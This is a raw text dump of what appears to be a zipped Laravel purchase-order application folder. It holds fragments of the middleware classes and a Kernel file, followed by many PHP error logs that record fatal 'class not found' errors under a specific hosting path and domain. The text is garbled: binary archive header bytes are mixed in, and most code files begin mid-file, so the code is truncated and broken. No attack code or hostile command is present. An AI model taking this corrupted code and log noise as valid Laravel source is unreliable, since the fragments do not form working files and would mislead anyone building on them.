]; } } PKx°b]Íj `øø+Http/Middleware/RedirectIfAuthenticated.phpnuȯÝícheck()) { return redirect(RouteServiceProvider::HOME); } } return $next($request); } } PKx°b]"që33"Http/Middleware/EncryptCookies.phpnuȯÝí */ protected $except = [ // ]; } PKx°b]/Ü�ÇSS#Http/Middleware/VerifyCsrfToken.phpnuȯÝí */ protected $except = [ 'ordenes/*/review/*', ]; } PKx°b]Ã{©{nn4Http/Middleware/PreventRequestsDuringMaintenance.phpnuȯÝí */ protected $except = [ // ]; } PKx°b]“WuÚ Ú Http/Kernel.phpnuȯÝí */ protected $middleware = [ // \App\Http\Middleware\TrustHosts::class, \App\Http\Middleware\TrustProxies::class, \Illuminate\Http\Middleware\HandleCors::class, \App\Http\Middleware\PreventRequestsDuringMaintenance::class, \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class, \App\Http\Middleware\TrimStrings::class, \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, ]; /** * The application's route middleware groups. * * @var array> */ protected $middlewareGroups = [ 'web' => [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ // \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class, \Illuminate\Routing\Middleware\ThrottleRequests::class.':api', \Illuminate\Routing\Middleware\SubstituteBindings::class, ], ]; /** * The application's middleware aliases. * * Aliases may be used instead of class names to conveniently assign middleware to routes and groups. * * @var array */ protected $middlewareAliases = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'auth.session' => \Illuminate\Session\Middleware\AuthenticateSession::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'precognitive' => \Illuminate\Foundation\Http\Middleware\HandlePrecognitiveRequests::class, 'signed' => \App\Http\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, ]; } PKÂd]×úÏ\ááPolicies/error_lognu„[µü¤[03-Nov-2026 03:28:04 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:04 UTC] PHP Fatal error: Trait "Illuminate\Auth\Access\HandlesAuthorization" not found in /home/hausc/oc.hauscenter.com.bo/app/Policies/OrdenCompraPolicy.php on line 9 [03-Nov-2026 03:28:04 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:04 UTC] PHP Fatal error: Trait "Illuminate\Auth\Access\HandlesAuthorization" not found in /home/hausc/oc.hauscenter.com.bo/app/Policies/AreaPolicy.php on line 9 [03-Nov-2026 03:28:04 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:04 UTC] PHP Fatal error: Trait "Illuminate\Auth\Access\HandlesAuthorization" not found in /home/hausc/oc.hauscenter.com.bo/app/Policies/DetalleOrdenPolicy.php on line 9 [03-Nov-2026 03:28:04 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:04 UTC] PHP Fatal error: Trait "Illuminate\Auth\Access\HandlesAuthorization" not found in /home/hausc/oc.hauscenter.com.bo/app/Policies/RolePolicy.php on line 9 [03-Nov-2026 03:28:05 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:05 UTC] PHP Fatal error: Trait "Illuminate\Auth\Access\HandlesAuthorization" not found in /home/hausc/oc.hauscenter.com.bo/app/Policies/UserPolicy.php on line 9 PKÂd]ýÑw‹‹Console/error_lognu„[µü¤[03-Nov-2026 03:27:59 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:27:59 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Console\Kernel" not found in /home/hausc/oc.hauscenter.com.bo/app/Console/Kernel.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Console/Kernel.php on line 8 PKÂd]åÅ�†——Exceptions/error_lognu„[µü¤[03-Nov-2026 03:27:59 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:27:59 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Exceptions\Handler" not found in /home/hausc/oc.hauscenter.com.bo/app/Exceptions/Handler.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Exceptions/Handler.php on line 8 PKÂd]S'ä•““Filament/Pages/error_lognu„[µü¤[03-Nov-2026 03:28:46 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:46 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Pages\Dashboard" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Pages/Dashboard.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Pages/Dashboard.php on line 9 PKÂd]IÕQŽ¥¥!Filament/Personal/Pages/error_lognu„[µü¤[03-Nov-2026 03:32:28 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:32:28 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Pages\Dashboard" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Pages/Dashboard.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Pages/Dashboard.php on line 9 PKÂd]gÔγºº#Filament/Personal/Widgets/error_lognu„[µü¤[03-Nov-2026 03:32:28 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:32:28 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Widgets\Widget" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Widgets/QuickActionsWidget.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Widgets/QuickActionsWidget.php on line 9 PKÂd]²P_Ý~~%Filament/Personal/Resources/error_lognu„[µü¤[03-Nov-2026 03:32:28 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:32:28 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Resource" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Resources/AreaResource.php:16 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Resources/AreaResource.php on line 16 [03-Nov-2026 03:32:29 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:32:29 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Resource" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Resources/OrdenCompraResource.php:16 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Personal/Resources/OrdenCompraResource.php on line 16 PKÂd]«ÛóúII/Filament/Resources/AreaResource/Pages/error_lognu„[µü¤[03-Nov-2026 03:37:53 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:53 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\CreateRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/CreateArea.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/CreateArea.php on line 9 [03-Nov-2026 03:37:53 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:53 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\EditRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/EditArea.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/EditArea.php on line 9 [03-Nov-2026 03:37:53 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:53 UTC] PHP Fatal error: Uncaught Error: Class "pxlrbt\FilamentActivityLog\Pages\ListActivities" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/ListActivities.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/ListActivities.php on line 8 [03-Nov-2026 03:37:53 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:53 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\ListRecords" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/ListAreas.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource/Pages/ListAreas.php on line 9 PKÂd]sÉÄRII/Filament/Resources/UserResource/Pages/error_lognu„[µü¤[03-Nov-2026 03:37:55 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:55 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\CreateRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/CreateUser.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/CreateUser.php on line 9 [03-Nov-2026 03:37:56 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:56 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\EditRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/EditUser.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/EditUser.php on line 9 [03-Nov-2026 03:37:56 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:56 UTC] PHP Fatal error: Uncaught Error: Class "pxlrbt\FilamentActivityLog\Pages\ListActivities" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/ListActivities.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/ListActivities.php on line 8 [03-Nov-2026 03:37:56 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:56 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\ListRecords" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/ListUsers.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource/Pages/ListUsers.php on line 9 PKÂd]Ï-G• • 6Filament/Resources/OrdenCompraResource/Pages/error_lognu„[µü¤[03-Nov-2026 03:37:58 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:58 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\EditRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/EditOrdenCompra.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/EditOrdenCompra.php on line 9 [03-Nov-2026 03:37:58 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:58 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\CreateRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/CreateOrdenCompra.php:10 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/CreateOrdenCompra.php on line 10 [03-Nov-2026 03:37:59 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:59 UTC] PHP Fatal error: Uncaught Error: Class "pxlrbt\FilamentActivityLog\Pages\ListActivities" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/ListActivities.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/ListActivities.php on line 8 [03-Nov-2026 03:37:59 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:59 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\ListRecords" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/ListOrdenCompras.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/ListOrdenCompras.php on line 9 [03-Nov-2026 03:37:59 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:59 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\ViewRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/ViewOrdenCompra.php:10 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/Pages/ViewOrdenCompra.php on line 10 PKÂd]³Ïy(AFilament/Resources/OrdenCompraResource/RelationManagers/error_lognu„[µü¤[03-Nov-2026 03:37:54 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:54 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\RelationManagers\RelationManager" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/RelationManagers/DetallesRelationManager.php:13 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource/RelationManagers/DetallesRelationManager.php on line 13 PKÂd]4¯â¦¦Filament/Resources/error_lognu„[µü¤[03-Nov-2026 03:28:46 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:46 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Resource" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource.php:17 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/AreaResource.php on line 17 [03-Nov-2026 03:28:47 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:47 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Resource" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource.php:19 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/OrdenCompraResource.php on line 19 [03-Nov-2026 03:28:47 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:47 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Resource" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource.php:22 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource.php on line 22 [03-Nov-2026 03:28:48 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:48 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Resource" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource.php:14 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/UserResource.php on line 14 PKÂd]oÛ,Ê55/Filament/Resources/RoleResource/Pages/error_lognu„[µü¤[03-Nov-2026 03:37:56 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:56 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\CreateRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/CreateRole.php:11 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/CreateRole.php on line 11 [03-Nov-2026 03:37:57 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:57 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\EditRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/EditRole.php:12 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/EditRole.php on line 12 [03-Nov-2026 03:37:57 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:57 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\ListRecords" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/ListRoles.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/ListRoles.php on line 9 [03-Nov-2026 03:37:57 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:37:57 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Resources\Pages\ViewRecord" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/ViewRole.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Resources/RoleResource/Pages/ViewRole.php on line 9 PKÂd]~Ã"ªªFilament/Components/error_lognu„[µü¤[03-Nov-2026 03:28:42 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:42 UTC] PHP Fatal error: Uncaught Error: Class "Filament\Forms\Components\Component" not found in /home/hausc/oc.hauscenter.com.bo/app/Filament/Components/ItemsTable.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Filament/Components/ItemsTable.php on line 9 PKÂd]Žb g��Mail/error_lognu„[µü¤[03-Nov-2026 03:28:00 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:00 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Mail\Mailable" not found in /home/hausc/oc.hauscenter.com.bo/app/Mail/OrdenCompraMail.php:13 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Mail/OrdenCompraMail.php on line 13 PKÂd]£€‡D D Models/error_lognu„[µü¤[03-Nov-2026 03:28:01 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:01 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Eloquent\Model" not found in /home/hausc/oc.hauscenter.com.bo/app/Models/Area.php:10 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Models/Area.php on line 10 [03-Nov-2026 03:28:01 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:01 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Eloquent\Model" not found in /home/hausc/oc.hauscenter.com.bo/app/Models/DetalleOrden.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Models/DetalleOrden.php on line 9 [03-Nov-2026 03:28:01 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:01 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Eloquent\Model" not found in /home/hausc/oc.hauscenter.com.bo/app/Models/OrdenCompraPago.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Models/OrdenCompraPago.php on line 7 [03-Nov-2026 03:28:02 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:02 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Eloquent\Model" not found in /home/hausc/oc.hauscenter.com.bo/app/Models/OrdenCompra.php:14 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Models/OrdenCompra.php on line 14 [03-Nov-2026 03:28:03 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:03 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Auth\User" not found in /home/hausc/oc.hauscenter.com.bo/app/Models/User.php:12 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Models/User.php on line 12 [03-Nov-2026 03:28:03 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:03 UTC] PHP Fatal error: Uncaught Error: Class "Spatie\Permission\Models\Role" not found in /home/hausc/oc.hauscenter.com.bo/app/Models/Role.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Models/Role.php on line 8 PKÂd] ŠI°``Providers/Filament/error_lognu„[µü¤[03-Nov-2026 03:28:48 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:48 UTC] PHP Fatal error: Uncaught Error: Class "Filament\PanelProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/Filament/PersonalPanelProvider.php:22 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/Filament/PersonalPanelProvider.php on line 22 [03-Nov-2026 03:28:49 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:49 UTC] PHP Fatal error: Uncaught Error: Class "Filament\PanelProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/Filament/AdminPanelProvider.php:23 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/Filament/AdminPanelProvider.php on line 23 PKÂd]¥ò´Ù¢¢Providers/error_lognu„[µü¤[03-Nov-2026 03:28:05 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:05 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\ServiceProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/AppServiceProvider.php:11 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/AppServiceProvider.php on line 11 [03-Nov-2026 03:28:05 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:05 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\ServiceProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/BroadcastServiceProvider.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/BroadcastServiceProvider.php on line 8 [03-Nov-2026 03:28:05 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:05 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Support\Providers\AuthServiceProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/AuthServiceProvider.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/AuthServiceProvider.php on line 8 [03-Nov-2026 03:28:06 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:06 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Support\Providers\EventServiceProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/EventServiceProvider.php:10 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/EventServiceProvider.php on line 10 [03-Nov-2026 03:28:06 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:06 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Support\Providers\RouteServiceProvider" not found in /home/hausc/oc.hauscenter.com.bo/app/Providers/RouteServiceProvider.php:11 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Providers/RouteServiceProvider.php on line 11 PKÂd]œœýÎuuObservers/error_lognu„[µü¤[03-Nov-2026 03:28:03 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 PKÂd]¯Á¬<$$Http/Controllers/error_lognu„[µü¤[03-Nov-2026 03:28:43 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Controllers/OrdenCompraPrintController.php:12 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Controllers/OrdenCompraPrintController.php on line 12 [03-Nov-2026 03:28:43 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Controllers/OrdenCompraReviewController.php:12 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Controllers/OrdenCompraReviewController.php on line 12 [03-Nov-2026 03:28:43 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:43 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Routing\Controller" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Controllers/Controller.php:9 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Controllers/Controller.php on line 9 PKÂd]x.e6<<Http/Middleware/error_lognu„[µü¤[03-Nov-2026 03:28:44 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Cookie\Middleware\EncryptCookies" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/EncryptCookies.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/EncryptCookies.php on line 7 [03-Nov-2026 03:28:44 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Auth\Middleware\Authenticate" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/Authenticate.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/Authenticate.php on line 8 [03-Nov-2026 03:28:44 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/PreventRequestsDuringMaintenance.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/PreventRequestsDuringMaintenance.php on line 7 [03-Nov-2026 03:28:44 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:45 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:45 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Routing\Middleware\ValidateSignature" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/ValidateSignature.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/ValidateSignature.php on line 7 [03-Nov-2026 03:28:45 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:45 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\TrimStrings" not found in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/TrimStrings.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/app/Http/Middleware/TrimStrings.php on line 7 [03-Nov-2026 03:28:45 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:45 UTC] PHP Fatal error: Uncaught Error: Class 